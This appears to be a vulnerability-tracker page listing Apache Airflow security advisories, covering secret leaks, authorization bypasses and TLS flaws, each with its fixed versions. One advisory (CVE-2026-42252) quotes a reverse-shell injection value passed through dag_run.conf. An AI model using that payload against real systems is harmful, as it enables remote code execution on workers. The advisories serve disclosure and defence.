Apache Airflow Vulnerabilities & Security Advisories
114 advisories tracked · ASF Security ([email protected] CNA) via NVD · 0 listed in the CISA Known Exploited Vulnerabilities catalog
Every row below is a published Apache Software Foundation advisory that VulniPulse classified as Airflow, with the CVEs, affected and fixed releases and exploitation status the vendor stated. Severity mix: 8 critical, 27 high, 42 medium, 8 low.
Source
ASF Security ([email protected] CNA) via NVD
The Apache Software Foundation is its own CVE Numbering Authority: every Apache project CVE (HTTP Server, Tomcat, ActiveMQ, Struts, Kafka, Airflow, OFBiz, Solr and 300+ more) is published by [email protected] and announced on the projects' mailing lists. VulniPulse ingests the CNA feed from NVD filtered to [email protected] — official, machine-readable, with affected/fixed versions embedded in each description. Per-project security pages (httpd.apache.org/security, tomcat.apache.org/security-XX.html) carry the vendor detail.
Latest Apache Airflow advisories
Medium [CVE-2026-68969] Apache Airflow: Bulk Variable and Connection endpoints record secret values in the audit log in cleartext
Apache Airflow wrote Variable values and Connection `extra` contents to the audit log in cleartext when they were submitted through the bulk endpoints (`PATCH /api/v2/variables` and `PATCH /api/v2/connections`). The audit-log masking recognised only top-level request fields, and a bulk request nests its entities two levels below, so no masking was applied to them. Any authenticated user with audit-log read access -- who need not hold Variables or Connections read at all -- could recover those secrets verbatim, and the Connection `extra` copy is stored unencrypted in the log while the connection table encrypts it. The Airflow UI's *Import Variables* action posts to this endpoint, so an ordinary operator import wrote every secret in the file to the log. This is a different code path from CVE-2026-50204: that fix shipped in 3.3.0 and covers the single-entity endpoints only, so deployments that upgraded in response to that advisory remain affected and must upgrade again. Users are advised to upgrade to apache-airflow 3.3.1 or later.
Medium [CVE-2026-68970] Apache Airflow: Values of a list-shaped Variable are not masked in task logs and the Rendered Templates UI
Apache Airflow's Task SDK did not mask the contents of a Variable whose JSON value is a list, so secrets stored in that shape appeared in cleartext in task logs and in the Rendered Templates UI. Masking was applied only when the deserialized value was a string or a dict; a list at the top level matched neither and was returned unmasked. Any authenticated user able to read the logs or rendered templates of a task that references such a Variable could recover the values, with no special configuration required. This is the list-shaped counterpart of CVE-2026-59244, whose fix covered the dict case only, so deployments that upgraded in response to that advisory remain affected and must upgrade again. Users are advised to upgrade to apache-airflow 3.3.1 or later.
Medium [CVE-2026-68971] Apache Airflow: Cross-team authorization bypass in the asset materialization and dag-run result endpoints
Apache Airflow's asset materialization endpoint (`POST /api/v2/assets/{asset_id}/materialize`) and the XCom result check on `wait_dag_run_until_finished` authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a global one by that field -- the Keycloak auth manager, for example, checks the `DAG` resource instead of `DAG:` -- so the team-scoped permission that should gate the request was never consulted. In a deployment running multi-team mode with a team-aware auth manager, an authenticated user in one team could trigger Dag runs belonging to another team, supplying their own `dag_run_id` and `conf`, and could read another team's XCom values. Deployments using the FAB auth manager are unaffected, as it has no multi-team support. Users are advised to upgrade to apache-airflow 3.3.1 or later, which resolves the Dag's team at both sites.
Medium [CVE-2026-68076] Apache Airflow: Connections test API: team-scope guard bypass resolves another team's environment Connection
Apache Airflow's environment-variable secrets backend resolved a team-scoped Connection or Variable from the wrong team's scope. The guard meant to prevent this only ran when no team scope was supplied, and its pattern could not match a team name containing an underscore, which team names are allowed to contain. When the guard did not apply, the lookup fell through to an unconditional global read that resolved the stored `AIRFLOW_CONN_____` variable regardless of which team asked. In multi-team mode an authenticated user of one team could therefore have `POST /api/v2/connections/test` resolve another team's Connection and authenticate outward with that team's credentials; the endpoint uses the credentials rather than returning them. Exploitation requires `[core] multi_team` enabled, `[core] test_connection` set to `Enabled` (it ships `Disabled`), team-scoped secrets provisioned as environment variables in the API-server process, and knowledge of the encoded identifier. Redirecting the test at an attacker-controlled host is separately blocked. Users are advised to upgrade to apache-airflow 3.3.1 or later.
Medium [CVE-2026-68868] Apache Airflow Google provider: google Secret Manager backend: team scope is never applied, exposing every team's Connections and Variables
The Google Cloud Secret Manager secrets backend in Apache Airflow's Google provider never applied the team scope when resolving Connections and Variables: the caller's `team_name` was accepted by the backend but dropped at the internal call boundary, so every lookup resolved against the team-agnostic secret name. In a deployment running multi-team mode with this backend, a task or Dag belonging to one team resolved another team's Connection or Variable, obtaining its credentials in full. No unusual configuration is required beyond enabling multi-team mode and using this backend. Users are advised to upgrade to apache-airflow-providers-google 22.3.0 or later, which builds and applies the team-scoped secret name. Affected product named by the advisory: Apache Airflow Google provider.
Medium [CVE-2026-68872] Apache Airflow Amazon provider: amazon SSM / Secrets Manager backends: team-scope guard bypass resolves another team's Connection or Variable
The AWS Systems Manager Parameter Store and Secrets Manager backends in Apache Airflow's Amazon provider resolved a team-scoped Connection or Variable id through the team-agnostic lookup when the team-scoped lookup missed. In a deployment running multi-team mode with either backend, a caller in one team could resolve a secret belonging to another team by supplying an id that spells out that team's namespace, obtaining its credentials in full. No unusual configuration is required beyond enabling multi-team mode and using one of these backends. Users are advised to upgrade to apache-airflow-providers-amazon 9.34.0 or later, which refuses the team-agnostic fall-through for an id that could name a team namespace. Affected product named by the advisory: Apache Airflow Amazon provider.
Medium [CVE-2026-68871] Apache Airflow Yandex provider: yandex Lockbox backend: team-scope guard bypass resolves another team's Connection or Variable
The Yandex Lockbox secrets backend in Apache Airflow's Yandex provider resolved a team-scoped Connection or Variable id through the team-agnostic lookup when the team-scoped lookup missed. In a deployment running multi-team mode with this backend, a caller in one team could resolve a secret belonging to another team by supplying an id that spells out that team's namespace, obtaining its credentials in full. No unusual configuration is required beyond enabling multi-team mode and using this backend. Users are advised to upgrade to apache-airflow-providers-yandex 4.5.1 or later, which refuses the team-agnostic fall-through for an id that could name a team namespace. Affected product named by the advisory: Apache Airflow Yandex provider.
Medium [CVE-2026-68870] Apache Airflow Microsoft Azure provider: microsoft.azure Key Vault backend: team-scope guard bypass resolves another team's Connection or Variable
The Azure Key Vault secrets backend in Apache Airflow's Microsoft Azure provider resolved a team-scoped Connection or Variable id through the team-agnostic lookup when the team-scoped lookup missed. In a deployment running multi-team mode with this backend, a caller in one team could resolve a secret belonging to another team by supplying an id that spells out that team's namespace, obtaining its credentials in full. No unusual configuration is required beyond enabling multi-team mode and using this backend. Users are advised to upgrade to apache-airflow-providers-microsoft-azure 14.1.0 or later, which refuses the team-agnostic fall-through for an id that could name a team namespace. Affected product named by the advisory: Apache Airflow Microsoft Azure provider.
High [CVE-2026-59245] Apache Airflow FAB provider: FAB auth manager: a DAG named "DAGs" hijacks the global all-DAGs permission (access_control privilege escalation via resource_name collision)
In the Apache Airflow FAB auth manager, a DAG whose `dag_id` is `DAGs` collided with the global all-DAGs permission resource name produced by `resource_name()`, so a user granted per-DAG `access_control` on that one DAG was silently granted the global all-DAGs permission (privilege escalation). The escalation triggers when a DAG named `DAGs` exists and a lower-privileged user is given per-DAG access to it, granting that user read/edit access to every DAG. Users are advised to upgrade to `apache-airflow-providers-fab` 3.7.2 or later, which disambiguates the resource-name collision. Affected product named by the advisory: Apache Airflow FAB provider.
High [CVE-2026-58065] Apache Airflow Git provider: Git provider hook defaults to StrictHostKeyChecking=no, disabling SSH host-key verification
The Apache Airflow Git provider runs its git-over-SSH operations with `StrictHostKeyChecking=no` by default, disabling SSH host-key verification. An attacker who can intercept the network path between an Airflow worker and the Git server can impersonate the server (man-in-the-middle), capturing the SSH deploy key or injecting malicious repository content. Deployments that use the Git DAG bundle or Git provider to clone over SSH with a deploy key are affected. The fix changes the default to verify host keys; upgrade to apache-airflow-providers-git `0.4.1` or later and configure a `known_hosts` file.
Medium [CVE-2026-49487] Apache Airflow: Task-instance API exposes secrets in deferred trigger kwargs
In Apache Airflow before 3.3.0, the REST API task-instance detail and list endpoints returned a deferred task's trigger kwargs without masking. When a deferred operator passed a secret (for example a provider API key) into its trigger, any authenticated user with DAG-scoped task-instance read access for that DAG could read that secret in clear text while the task was deferred. Users should upgrade to apache-airflow 3.3.0 or later, which masks sensitive values in trigger kwargs returned by the API.
Medium [CVE-2026-48892] Apache Airflow: Config API leaks per-key secrets backend kwargs - masker bypass on synthetic options
The Config API in Apache Airflow surfaced per-key secrets-backend overrides (environment variables like `AIRFLOW__SECRETS__BACKEND_KWARG__SECRET_ID` and `AIRFLOW__WORKERS__SECRETS_BACKEND_KWARG__SECRET_ID`) as synthetic config options whose option names were not in `sensitive_config_values`, so the masker did not redact them. An authenticated UI/API user with Config read permission could retrieve plaintext secrets-backend credentials (Vault `role_id` / `secret_id`, etc.) from the Config API output. Affects deployments that configure secrets backends via per-key environment overrides. Users are advised to upgrade to `apache-airflow` 3.3.0 or later.
Medium [CVE-2026-48891] Apache Airflow: /ui/dependencies scheduling graph leaks unreadable Dag identifiers via trigger/sensor dep.source/dep.target
A bug in Apache Airflow's `/ui/dependencies` scheduling graph endpoint applied the caller's readable-Dag filter to the top-level serialized Dag key but still emitted referenced Dag IDs through the `dep.source` and `dep.target` fields of trigger / sensor dependency entries. An authenticated UI user with read permission on some Dags could enumerate the identifiers of other Dags they were not authorized to read by inspecting the dependency graph for trigger / sensor references. Affects deployments that rely on per-Dag read scoping to keep Dag identifiers private across teams. This is a residual gap in the fix for CVE-2026-28563, which filtered the top-level Dag key but did not propagate the filter into the trigger / sensor dep-source / dep-target fields. Users who already upgraded for CVE-2026-28563 should additionally upgrade to `apache-airflow` 3.3.0 or later to cover the residual trigger / sensor dependency leak.
Medium [CVE-2026-48828] Apache Airflow: Bulk JSON Variables bypass should_hide_value_for_key - redact called without the key
The Bulk Variables API in Apache Airflow called the redactor without passing the variable's key, so the key-based `should_hide_value_for_key` check (which triggers on secret-suffixed key names like `*_password` / `*_token` / `*_secret`) could not fire for JSON-decodable variable values. An authenticated UI/API user with bulk Variable read permission could retrieve plaintext values from JSON variables whose key would otherwise trigger redaction. Affects deployments that store sensitive values in JSON-typed Airflow Variables under secret-suffixed key names. Users are advised to upgrade to `apache-airflow` 3.3.0 or later (the fix landed on `main` after 3.2.2; no 3.2.x backport).
High [CVE-2026-49297] Apache Airflow's Google provider operators `GCSToSFTPOperator` and `GCSTimeSpanFileTransformOperator` joined GCS…
Apache Airflow's Google provider operators `GCSToSFTPOperator` and `GCSTimeSpanFileTransformOperator` joined GCS object names returned by the bucket listing API directly to a destination filesystem path without normalisation or containment check. A user with write access to the source GCS bucket (typically a different trust principal than the DAG author — partner uploads, ingest-only service accounts, public-data buckets) could create an object whose name contains `..` segments and cause the DAG run to write the downloaded blob outside the configured destination (the SFTP `destination_path` for `GCSToSFTPOperator`; the worker-local temp directory for `GCSTimeSpanFileTransformOperator`), enabling overwrite of arbitrary files on the SFTP server or the worker host. Affects deployments that ingest from buckets writable by less-trusted principals. Users are advised to upgrade to `apache-airflow-providers-google` 22.2.1 or later.
Advisory [CVE-2026-49486] Apache Airflow FTP provider: FTP Provider does not protect FTPS data channel (missing PROT_P)
The Apache Airflow FTP provider's `FTPSHook.get_conn()` created an `ftplib.FTP_TLS` connection but never called `prot_p()`, so although the control channel was TLS-protected the data channel was transmitted in cleartext. Any deployment using `FTPSHook` or `FTPSFileTransmitOperator` to move files over FTPS exposed file contents and credentials-in-transit to a network attacker able to observe the data connection. Upgrade apache-airflow-providers-ftp to `3.15.1` or later, which issues `PROT P` to encrypt the data channel.
Advisory [CVE-2026-40861] Apache Airflow: Arbitrary File Read via Log Symlink following in FileTaskHandler
A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. `/etc/passwd` or `airflow.cfg`) or (b) supply a `task_id` containing `..` sequences accepted by the Task SDK's `KEY_REGEX` (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured `base_log_folder`, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.
Advisory [CVE-2026-40961] Apache Airflow: Open Redirect Bypass Vulnerability
A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the `is_safe_url` check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain `next=` query parameters before they reach the login endpoint.
Advisory [CVE-2026-40963] Apache Airflow: DAG authorization bypass on /ui/structure/structure_data
The structure_data endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
Advisory [CVE-2026-41014] Apache Airflow: per-DAG RBAC bypass on /ui/partitioned_dag_runs endpoints
The partitioned_dag_runs endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
Advisory [CVE-2026-49267] Apache Airflow: No certificate validation on SMTP STARTTLS connections
Apache Airflow's EmailOperator and the underlying `airflow.utils.email` helpers established SMTP STARTTLS connections without verifying the remote certificate when the deployment used `[email] smtp_starttls=True` without `[email] smtp_ssl`. An attacker positioned between the worker and the configured SMTP server (network MITM — typical hostile-network attack-surface for environments where the SMTP relay sits outside the worker's trust boundary) could present a self-signed certificate, have the worker complete the STARTTLS handshake silently, and capture the SMTP AUTH credentials and message contents the worker forwarded. This CVE covers the **core apache-airflow side** of the same root cause already covered for the SMTP provider by `CVE-2026-41016` (published 2026-04-27, covering `apache-airflow-providers-smtp`). Users who already applied the SMTP-provider fix from CVE-2026-41016 should additionally upgrade `apache-airflow` to 3.2.2 or later to cover the core-side path through `airflow.utils.email`. Affects deployments configured with `smtp_starttls=True` and `smtp_ssl=False` where the SMTP relay is reachable across a less-trusted network segment than the worker. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
Advisory [CVE-2026-41017] Apache Airflow: JWT cookie missing Secure flag in JWTRefreshMiddleware behind HTTPS-terminating proxy
Apache Airflow's `JWTRefreshMiddleware` set the JWT auth cookie without the `Secure` flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
Advisory [CVE-2026-41084] Apache Airflow: API authorization bypass: bulk TaskInstances allows cross-DAG mutation
A bug in Apache Airflow's bulk Task Instances API (`PATCH/DELETE /api/v2/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances`) evaluated authorization against the `dag_id` resolved from the URL path while operating on the `dag_id` / `dag_run_id` extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
Advisory [CVE-2026-42252] Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern
Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.
Advisory [CVE-2026-42360] Apache Airflow: Rendered template truncation bypasses nested sensitive-key masking
A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested `password` / `token` / `secret` / `api_key` keys inside a JSON template structure) to be bypassed when the rendered field exceeded `[core] max_templated_field_length`: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into `rendered_fields`. An authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of `CWE-200` previously addressed for the user-registered `mask_secret()` patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the nested-key path.
Advisory [CVE-2026-42358] Apache Airflow: Variable masker depth-limit bypass returns cleartext nested secrets
A bug in Apache Airflow's Variable response masker caused nested-key redaction (triggered by secret-suffixed key names like `password`, `token`, `secret`, `api_key`) to be bypassed when the JSON value's nesting depth exceeded the shared secrets masker's recursion limit: the masker returned the original nested item before checking the sensitive key name. An authenticated UI/API user with Variable read permission could harvest plaintext secret values stored under sensitive keys nested deep enough to exceed the masker's depth cap. Affects deployments that store sensitive values inside deeply-nested JSON Variables. This is a residual gap in the fix for CVE-2026-32690 (which covered shallower nesting via `max_depth=1`); the depth-limit boundary itself was not raised, so the same key-name bypass pattern reappears beyond the recursion cap. Users who already upgraded for CVE-2026-32690 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the deep-nesting path.
Advisory [CVE-2026-42359] Apache Airflow: Authenticated RCE via XCom PATCH endpoint — XComUpdateBody missing FORBIDDEN_XCOM_KEYS validator
A bug in Apache Airflow's XCom PATCH endpoint `PATCH /api/v2/xcomEntries/{key}` allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. `return_value`) that the matching POST endpoint already validated against `FORBIDDEN_XCOM_KEYS`. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the `FORBIDDEN_XCOM_KEYS` validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the PATCH-path bypass.
Advisory [CVE-2026-45360] Apache Airflow: Arbitrary import in custom deadline-reference deserialization
Apache Airflow's scheduler-side deadline-reference decoder (`SerializedCustomReference.deserialize_reference`) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom `DeadlineReference` whose serialized form named an attacker-controlled module path, causing the scheduler to `import_string(...)` and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
Advisory [CVE-2026-45426] Apache Airflow: Log server JWT authorization bypass via Python lstrip character stripping allows cross-Dag log access
Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's `str.lstrip()` to the requested path segment when verifying the JWT's `sub` claim. `str.lstrip()` strips any of a *set* of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. `dag_a` would authorize log access to any other Dag whose name began with any subset of the characters `{d, a, g, _}` (e.g. `dag_attacker`, `aaaa_target`, `_dag_secret`). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
Advisory [CVE-2026-46764] Apache Airflow: Event Log detail endpoint bypasses DAG-scoped event log permission filter
The Event Log detail endpoint `GET /api/v2/eventLogs/{event_log_id}` in Apache Airflow fetched audit-log rows directly by numeric ID after only the generic Audit Log permission check, while the collection endpoint `GET /api/v2/eventLogs` applied per-Dag scoping. An authenticated UI/API user with audit-log read permission for one Dag could retrieve audit-log entries for any other Dag by guessing or enumerating the numeric event log ID. Affects deployments that rely on per-Dag audit-log scoping. Users are advised to upgrade to `apache-airflow` 3.2.2 or later.
Advisory [CVE-2026-48726] Apache Airflow: revoke_token unreachable in FabAuthManager / KeycloakAuthManager logout path
A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for `FabAuthManager` and `KeycloakAuthManager` did not actually reach the underlying `revoke_token()` call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with `FabAuthManager` or `KeycloakAuthManager` (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side `revoke_token()` reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to `apache-airflow` 3.2.2 or later to cover the FAB / Keycloak logout paths.
Advisory [CVE-2026-49298] Apache Airflow: JWT Token Exposure in KubernetesExecutor Command-Line Arguments
A bug in Apache Airflow's KubernetesExecutor caused JWT tokens used by worker pods to authenticate against the Execution API to be passed to the worker container as command-line arguments visible in the pod spec. An authenticated UI/API user with Kubernetes read-only access to the cluster (e.g. `pods/get` in the Airflow namespace) could harvest the JWT from `kubectl describe pod` output and then call state-mutating Execution API endpoints — triggering Dag runs, clearing runs, reading or writing Variables / Connections / XComs — as if they were a running task. Affects deployments using the `KubernetesExecutor`. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. This is the airflow-core half of the same vulnerability addressed by CVE-2026-27173, which shipped the apache-airflow-providers-cncf-kubernetes side of the fix. Deployments that already upgraded `apache-airflow-providers-cncf-kubernetes` to 10.17.0 or later per the CVE-2026-27173 advisory should additionally upgrade `apache-airflow` to 3.2.2 or later to close the core-side surface — the two fixes are complementary, not duplicates.
Advisory [CVE-2026-45192] Apache Airflow: Incomplete Redaction of Sensitive Fields in Connection Extra API Response
A bug in the GET `/api/v2/connections/{connection_id}` REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's `extra` JSON blob under field names not present in the redaction allowlist (`DEFAULT_SENSITIVE_FIELDS`) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection `extra` blobs and grant Connection-read access to multiple users. Users are advised to upgrade to `apache-airflow` 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's `extra` field.
Medium [CVE-2026-41016] Apache Airflow's SMTP provider `SmtpHook` called Python's `smtplib.SMTP.starttls` without an SSL context, so no certificate…
Apache Airflow's SMTP provider `SmtpHook` called Python's `smtplib.SMTP.starttls()` without an SSL context, so no certificate validation was performed on the TLS upgrade. A man-in-the-middle between the Airflow worker and the SMTP server could present a self-signed certificate, complete the STARTTLS upgrade, and capture the SMTP credentials sent during the subsequent `login()` call. Users are advised to upgrade to the `apache-airflow-providers-smtp` version that contains the fix.
Medium [CVE-2026-40690] Apache Airflow: Assets graph view bypasses DAG level access control displaying unrelated topologies and all DAGs names to unauthorized users
The asset dependency graph did not restrict nodes by the viewer's DAG read permissions: a user with read access to at least one DAG could browse the asset graph for any other asset in the deployment and learn the existence and names of DAGs and assets outside their authorized scope. Users are recommended to upgrade to version 3.2.1, which fixes this issue. Affected product named by the advisory: Apache Airflow.
Medium [CVE-2026-38743] Apache Airflow: Dags endpoint might provide access to otherwise inaccessible entities
The authenticated /ui/dags endpoint did not enforce per-DAG access control on embedded Human-in-the-Loop (HITL) and TaskInstance records: a logged-in Airflow user with read access to at least one DAG could retrieve HITL prompts (including their request parameters) and full TaskInstance details for DAGs outside their authorized scope. Because HITL prompts and TaskInstance fields routinely carry operator parameters and free-form context attached to a task, the leak widens visibility of DAG-run data beyond the intended per-DAG RBAC boundary for every authenticated user. Users are recommended to upgrade to version 3.2.1, which fixes this issue. Affected product named by the advisory: Apache Airflow.
High [CVE-2026-32228] Apache Airflow: Users with asset materialization permisssions could trigger Dags they had no access to
UI / API User with asset materialize permission could trigger dags they had no access to. Users are advised to migrate to Airflow version 3.2.0 that fixes the issue. Affected product named by the advisory: Apache Airflow.
High [CVE-2026-30912] Apache Airflow: Exposing stack trace in case of constraint error
In case of SQL errors, exception/stack trace of errors was exposed in API even if "api/expose_stack_traces" was set to false. That could lead to exposing additional information to potential attacker. Users are recommended to upgrade to Apache Airflow 3.2.0, which fixes the issue.
High [CVE-2026-30898] Apache Airflow: Bad example of BashOperator shell injection via dag_run.conf
An example of BashOperator in Airflow documentation suggested a way of passing dag_run.conf in the way that could cause unsanitized user input to be used to escalate privileges of UI user to allow execute code on worker. Users should review if any of their own DAGs have adopted this incorrect advice. Affected product named by the advisory: Apache Airflow.
High [CVE-2026-25917] Apache Airflow: API extra-links triggers XCom deserialization/class instantiation (Airflow 3.1.5)
Dag Authors, who normally should not be able to execute code in the webserver context could craft XCom payload causing the webserver to execute arbitrary code. Since Dag Authors are already highly trusted, severity of this issue is Low. Users are recommended to upgrade to Apache Airflow 3.2.0, which fixes the issue.
Medium [CVE-2026-40948] The Keycloak authentication manager in `apache-airflow-providers-keycloak` did not generate or validate the OAuth 2.0 `state`…
The Keycloak authentication manager in `apache-airflow-providers-keycloak` did not generate or validate the OAuth 2.0 `state` parameter on the login / login-callback flow, and did not use PKCE. An attacker with a Keycloak account in the same realm could deliver a crafted callback URL to a victim's browser and cause the victim to be logged into the attacker's Airflow session (login-CSRF / session fixation), where any credentials the victim subsequently stored in Airflow Connections would be harvestable by the attacker. Users are advised to upgrade `apache-airflow-providers-keycloak` to 0.7.0 or later.
Low [CVE-2026-32690] Apache Airflow: 3.x - Nested Variable Secret Values Bypass Redaction via max_depth=1
Secrets in Variables saved as JSON dictionaries were not properly redacted - in case thee variables were retrieved by the user the secrets stored as nested fields were not masked. If you do not store variables with sensitive values in JSON form, you are not affected. Otherwise please upgrade to Apache Airflow 3.2.0 that has the fix implemented
High [CVE-2026-31987] Apache Airflow: JWT token appearing in logs
JWT Tokens used by tasks were exposed in logs. This could allow UI users to act as Dag Authors. Users are advised to upgrade to Airflow version that contains fix. Users are recommended to upgrade to version 3.2.0, which fixes this issue. Affected product named by the advisory: Apache Airflow.
High [CVE-2025-54550] Apache Airflow: RCE by race condition in example_xcom dag
The example example_xcom that was included in airflow documentation implemented unsafe pattern of reading value from xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary execution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability. It does not affect Airflow release - example_dags are not supposed to be enabled in production environment, however users following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of the example with improved resiliance for that case. Users who followed that pattern are advised to adjust their implementations accordingly. Affected product named by the advisory: Apache Airflow.
Medium [CVE-2026-25219] Apache Airflow: Sensitive Azure Service Bus connection string (and possibly other providers) exposed to users with view access
The `access_key` and `connection_string` connection properties were not marked as sensitive names in secrets masker. This means that user with read permission could see the values in Connection UI, as well as when Connection was accidentaly logged to logs, those values could be seen in the logs. Azure Service Bus used those properties to store sensitive values. Possibly other providers could be also affected if they used the same fields to store sensitive data. If you used Azure Service Bus connection with those values set or if you have other connections with those values storing sensitve values, you should upgrade Airflow to 3.1.8 Affected product named by the advisory: Apache Airflow.
High [CVE-2026-33858] Apache Airflow: Unsafe Deserialization via Legacy Serialization Keys (__type/__var) Bypass in XCom API
Dag Authors, who normally should not be able to execute code in the webserver context could craft XCom payload causing the webserver to execute arbitrary code. Since Dag Authors are already highly trusted, severity of this issue is Low. Users are recommended to upgrade to Apache Airflow 3.2.0, which resolves this issue.
High [CVE-2025-66236] Apache Airflow: Secrets from Airflow config file logged in plain text in DAG run logs UI
Before Airflow 3.2.0, it was unclear that secure Airflow deployments require the Deployment Manager to take appropriate actions and pay attention to security details and security model of Airflow. Some assumptions the Deployment Manager could make were not clear or explicit enough, even though Airflow's intentions and security model of Airflow did not suggest different assumptions. The overall security model [1], workload isolation [2], and JWT authentication details [3] are now described in more detail. Users concerned with role isolation and following the Airflow security model of Airflow are advised to upgrade to Airflow 3.2, where several security improvements have been implemented. They should also read and follow the relevant documents to make sure that their deployment is secure enough. It also clarifies that the Deployment Manager is ultimately responsible for securing your Airflow deployment. This had also been communicated via Airflow 3.2.0 Blog announcement [4]. [3] JWT Token authentication: Users are recommended to upgrade to version 3.2.0, which fixes this issue.
Critical [CVE-2025-57735] Apache Airflow: Airflow Logout Not Invalidating JWT
When user logged out, the JWT token the user had authtenticated with was not invalidated, which could lead to reuse of that token in case it was intercepted. In Airflow 3.2 we implemented the mechanism that implements token invalidation at logout. Users who are concerned about the logout scenario and possibility of intercepting the tokens, should upgrade to Airflow 3.2+ Users are recommended to upgrade to version 3.2.0, which fixes this issue. Affected product named by the advisory: Apache Airflow.
Medium [CVE-2026-34538] Apache Airflow: Authorization bypass in DagRun wait endpoint (XCom exposure)
